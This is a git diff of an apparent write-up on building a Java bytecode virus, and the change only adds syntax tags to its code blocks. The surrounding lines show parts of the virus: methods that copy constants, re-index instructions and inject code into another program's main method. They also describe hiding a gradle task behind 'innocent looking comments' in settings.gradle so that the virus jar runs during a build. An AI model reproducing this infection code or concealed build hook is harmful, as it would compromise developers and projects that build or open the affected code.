@@ -99,7 +99,7 @@ The viurs should be flexible and allow for advanced payloads specific by the use
9999
100100This is probably the easiest part of the whole process. Our code for doing this is:
101101
102- ```
102+ ``` java
103103public static int copyConstant(HashMap<String , Object > origin, int origin_index, HashMap<String , Object > destination){
104104 byte [][] constant_pool = (byte [][]) origin. get(" constant_pool" );
105105 byte [] orig_constant = constant_pool[origin_index- 1 ];
@@ -253,7 +253,7 @@ merely a matter of adding it to an index of methods, the real challenge is in en
253253 methods to actually function at runtime.
254254
255255 The workhorse of the virus for this is the instructionIndex method:
256- ```
256+ ``` java
257257 public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
258258 int oldposition = 0 ;
259259 int newposition = 0 ;
@@ -311,7 +311,7 @@ is that it took forever to get functioning without errors.
311311The last part of our process after we copy our methods is actually inject instructions into a function that we did not
312312write and have no control over. The good news for me is that this didn't require too much extra work.
313313
314- ```
314+ ``` java
315315 public static void inject(HashMap<String , Object > origin, HashMap<String , Object > destination){
316316 // Are there any functions called main?
317317 // Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
@@ -390,7 +390,7 @@ probably also works in Android studio. I haven't tried it myself - maybe you sho
390390The trick is very simple:
391391
392392In settings.gradle in your project, place some innocent looking comments and code:
393- ```
393+ ``` gradle
394394task testSuite(type: JavaExec) {
395395 jar
396396 classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
0 commit comments